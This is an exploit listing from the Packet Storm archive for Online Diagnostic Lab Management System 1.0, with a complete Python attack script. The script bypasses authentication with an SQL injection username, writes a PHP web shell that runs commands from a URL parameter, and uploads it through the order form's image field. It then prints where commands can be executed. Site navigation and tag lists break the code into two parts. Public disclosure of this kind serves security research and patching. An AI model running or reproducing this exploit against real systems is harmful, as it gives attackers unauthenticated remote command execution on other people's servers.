

Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload

Authored by [Yousef Alraddadi](#)

Posted [Sep 26, 2022](#)

Online Diagnostic Lab Management System version 1.0 remote exploit that bypasses login with SQL injection and then uploads a shell.

tags | [exploit](#), [remote](#), [shell](#), [sql injection](#), [bypass](#)

SHA-256 | [a9a666adc9b5791a812164167d20c4ced022f91eed35188667143b4e7b0ee94e](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

```
# Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: N/A
# Date: 2022-9-23
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip
# Tested on: windows 11 - XAMPP
# CVE : N/A
# Version: 1.0
# Authentication Required: bypass login with sql injection

#!/usr/bin/python3

import requests
import os
import sys
import time
import random

# clean screen
os.system("cls")
os.system("clear")

logo = '''
#####
#
#   Exploit Script ( Online Diagnostic Lab Management System )
#
#####
'''
print(logo)

url = str(input("Enter website url : "))
username = (" " OR 1=1-- -")
password = ("test")

req = requests.Session()

target = url+"/diagnostic/login.php"
data = {'username':username,'password':password}

website = req.post(target,data=data)
files = open("rev.php","w")
payload = "<?php system($_GET['cmd']);?>"
files.write(payload)
files.close()

hash = random.getrandbits(128)
name_file = str(hash)+".php"
if "Login Successfully" in website.text:

    print("[+] Login Successfully")
    website_1 = url+"/diagnostic/php_action/createOrder.php"

    upload_file = {
        "orderDate": (None,""),
        "clientName": (None,""),
        "clientContact" : (None,""),
        "productName[]" : (None,""),
        "rateValue[]" : (None,""),
        "quantity[]" : (None,""),
        "totalValue[]" : (None,""),
        "subTotalValue" : (None,""),
        "totalAmountValue" : (None,""),
        "discount" : (None,""),
        "grandTotalValue" : (None,""),
        "gstn" : (None,""),
        "vatValue" : (None,""),
        "paid" : (None,""),
        "dueValue" : (None,""),
        "paymentType" : (None,""),
```

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files

Ubuntu 57 files

Gentoo 44 files

Debian 28 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secuR1ty 6 files

mjrczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)

Advisory (79,557)

Arbitrary (15,643)

BBS (2,859)

Bypass (1,615)

CGI (1,015)

Code Execution (6,913)

Conference (672)

Cracker (840)

CSRF (3,288)

DoS (22,541)

Encryption (2,349)

Exploit (50,293)

File Inclusion (4,162)

File Upload (946)

Firewall (821)

Info Disclosure (2,656)

File Archives

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

December 2021

Older

Systems

AIX (426)

Apple (1,926)

```
"paymentStatus" : (None,""),
"paymentPlace" : (None,""),
"productImage" : (name_file,open("rev.php","rb"))
}

up = req.post(website_1,files=upload_file)
print("[+] Check here file shell => "+url+"/diagnostic/assets/myimages/"+name_file)
print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")
else:
    print("[-] Check username or password")
```

[Login](#) or [Register](#) to add favorites

- Intrusion Detection (866) BSD (370)
- Java (2,888) CentOS (55)
- JavaScript (817) Cisco (1,917)
- Kernel (6,255) Debian (6,620)
- Local (14,173) Fedora (1,690)
- Magazine (586) FreeBSD (1,242)
- Overflow (12,390) Gentoo (4,272)
- Perl (1,417) HPUX (878)
- PHP (5,087) iOS (330)
- Proof of Concept (2,290) iPhone (108)
- Protocol (3,426) IRIX (220)
- Python (1,449) Juniper (67)
- Remote (30,009) Linux (44,118)
- Root (3,496) Mac OS X (684)
- Ruby (594) Mandriva (3,105)
- Scanner (1,631) NetBSD (255)
- Security Tool (7,768) OpenBSD (479)
- Shell (3,098) RedHat (12,339)
- Shellcode (1,204) Slackware (941)
- Sniffer (885) Solaris (1,607)
- Spoof (2,165) SUSE (1,444)
- SQL Injection (16,089) Ubuntu (8,147)
- TCP (2,377) UNIX (9,150)
- Trojan (685) UnixWare (185)
- UDP (875) Windows (6,504)
- Virus (661) Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other



© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)



[Follow us on Twitter](#)



[Subscribe to an RSS Feed](#)